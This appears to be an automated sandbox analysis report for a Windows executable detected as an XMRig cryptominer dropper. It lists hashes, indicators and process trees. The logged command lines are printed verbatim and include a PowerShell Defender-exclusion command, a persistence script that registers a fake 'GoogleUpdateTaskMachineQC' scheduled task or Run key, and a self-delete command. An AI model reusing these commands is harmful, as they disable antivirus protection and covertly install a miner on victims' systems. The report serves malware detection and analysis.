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Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
-
max time kernel
1341s -
max time network
1805s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
27/01/2024, 11:19
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20231215-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2460 created 1260 2460 qM5GMXBk6hJE6Y5e (27).exe 20 PID 2460 created 1260 2460 qM5GMXBk6hJE6Y5e (27).exe 20 PID 2460 created 1260 2460 qM5GMXBk6hJE6Y5e (27).exe 20 PID 2460 created 1260 2460 qM5GMXBk6hJE6Y5e (27).exe 20 PID 2948 created 1260 2948 updater.exe 20 PID 2948 created 1260 2948 updater.exe 20 PID 2948 created 1260 2948 updater.exe 20 PID 2948 created 1260 2948 updater.exe 20 PID 1648 created 1260 1648 conhost.exe 20 PID 2948 created 1260 2948 updater.exe 20 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral25/memory/2444-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral25/memory/2444-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2660 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2948 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2788 taskeng.exe -
resource yara_rule behavioral25/memory/2444-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral25/memory/2444-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2948 set thread context of 1648 2948 updater.exe 53 PID 2948 set thread context of 2444 2948 updater.exe 55 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (27).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2904 schtasks.exe 1588 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2284 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d03a2ee01851da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2460 qM5GMXBk6hJE6Y5e (27).exe 2460 qM5GMXBk6hJE6Y5e (27).exe 2740 powershell.exe 2460 qM5GMXBk6hJE6Y5e (27).exe 2460 qM5GMXBk6hJE6Y5e (27).exe 2872 powershell.exe 2460 qM5GMXBk6hJE6Y5e (27).exe 2460 qM5GMXBk6hJE6Y5e (27).exe 2460 qM5GMXBk6hJE6Y5e (27).exe 2460 qM5GMXBk6hJE6Y5e (27).exe 2632 powershell.exe 2948 updater.exe 2948 updater.exe 1176 powershell.exe 2948 updater.exe 2948 updater.exe 1080 powershell.exe 2948 updater.exe 2948 updater.exe 2948 updater.exe 2948 updater.exe 1648 conhost.exe 1648 conhost.exe 2948 updater.exe 2948 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 468 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2740 powershell.exe Token: SeDebugPrivilege 2872 powershell.exe Token: SeDebugPrivilege 2632 powershell.exe Token: SeDebugPrivilege 1176 powershell.exe Token: SeDebugPrivilege 1080 powershell.exe Token: SeDebugPrivilege 2948 updater.exe Token: SeAssignPrimaryTokenPrivilege 2284 WMIC.exe Token: SeIncreaseQuotaPrivilege 2284 WMIC.exe Token: SeSecurityPrivilege 2284 WMIC.exe Token: SeTakeOwnershipPrivilege 2284 WMIC.exe Token: SeLoadDriverPrivilege 2284 WMIC.exe Token: SeSystemtimePrivilege 2284 WMIC.exe Token: SeBackupPrivilege 2284 WMIC.exe Token: SeRestorePrivilege 2284 WMIC.exe Token: SeShutdownPrivilege 2284 WMIC.exe Token: SeSystemEnvironmentPrivilege 2284 WMIC.exe Token: SeUndockPrivilege 2284 WMIC.exe Token: SeManageVolumePrivilege 2284 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2284 WMIC.exe Token: SeIncreaseQuotaPrivilege 2284 WMIC.exe Token: SeSecurityPrivilege 2284 WMIC.exe Token: SeTakeOwnershipPrivilege 2284 WMIC.exe Token: SeLoadDriverPrivilege 2284 WMIC.exe Token: SeSystemtimePrivilege 2284 WMIC.exe Token: SeBackupPrivilege 2284 WMIC.exe Token: SeRestorePrivilege 2284 WMIC.exe Token: SeShutdownPrivilege 2284 WMIC.exe Token: SeSystemEnvironmentPrivilege 2284 WMIC.exe Token: SeUndockPrivilege 2284 WMIC.exe Token: SeManageVolumePrivilege 2284 WMIC.exe Token: SeLockMemoryPrivilege 2444 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2872 wrote to memory of 2904 2872 powershell.exe 32 PID 2872 wrote to memory of 2904 2872 powershell.exe 32 PID 2872 wrote to memory of 2904 2872 powershell.exe 32 PID 2660 wrote to memory of 2060 2660 cmd.exe 37 PID 2660 wrote to memory of 2060 2660 cmd.exe 37 PID 2660 wrote to memory of 2060 2660 cmd.exe 37 PID 2632 wrote to memory of 476 2632 powershell.exe 38 PID 2632 wrote to memory of 476 2632 powershell.exe 38 PID 2632 wrote to memory of 476 2632 powershell.exe 38 PID 2788 wrote to memory of 2948 2788 taskeng.exe 40 PID 2788 wrote to memory of 2948 2788 taskeng.exe 40 PID 2788 wrote to memory of 2948 2788 taskeng.exe 40 PID 1080 wrote to memory of 1588 1080 powershell.exe 47 PID 1080 wrote to memory of 1588 1080 powershell.exe 47 PID 1080 wrote to memory of 1588 1080 powershell.exe 47 PID 2948 wrote to memory of 1648 2948 updater.exe 53 PID 1636 wrote to memory of 2284 1636 cmd.exe 48 PID 1636 wrote to memory of 2284 1636 cmd.exe 48 PID 1636 wrote to memory of 2284 1636 cmd.exe 48 PID 2948 wrote to memory of 2444 2948 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1260
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2460
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2740
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2872 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2904
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2660 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2060
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:476
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1176
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1588
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1540
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1636
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1648
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2444
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C:\Windows\system32\taskeng.exetaskeng.exe {E3AFB511-8B8E-42B5-8345-F1EE392C801B} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2948
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2284
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
115KB
MD56370854783007a1a041218308c40341c
SHA17cd2990007a8ae3fb3ce94b6066824fce71f6572
SHA256d7a01fd6e949a0964ce54c8a8b8a15359c379cdc7c7b86d680adb244309b65cd
SHA5126d8c16d3f041a5824060948e4e619b243fc46d910affb6b031f1757e23aee10f06c7eae2aacfc1b71316984b21b4253a7a0d3c7c71291a59e405260443bb2af1
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5272087ca6d5f3aeaf55dee66de504059
SHA159fc369413ec05fbe0f6c385fcd90d999d9148a7
SHA2566d257d099054c0c0a269197758e977805715f15d3cbe8b3c76d394861f7af69a
SHA51255f474f9fa33ec3df5f81713f0d419bb5be337fef91029bffb59565d8437f608960d6c15c51b9816614e2e33bea96ddb069ee0096bb20b543ad73e29d0d61693
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Filesize
202KB
MD5792f36a61b02becc7285b0efc849cb0c
SHA1ada933ce6ceb0a1461789d79571a6e6366ec98bb
SHA2561ac0fab2653ae4cd220b11495601a7b50aeafcb70020dc563c9ea92d47c0a764
SHA512efdde4e3c1f76d82e3f82051536bb1806d8aeebb0b9264fcc6c2694196d41b694764d1038917ec834b87ad943c5367d57212c891e8d3aa28a324482c3494ffd0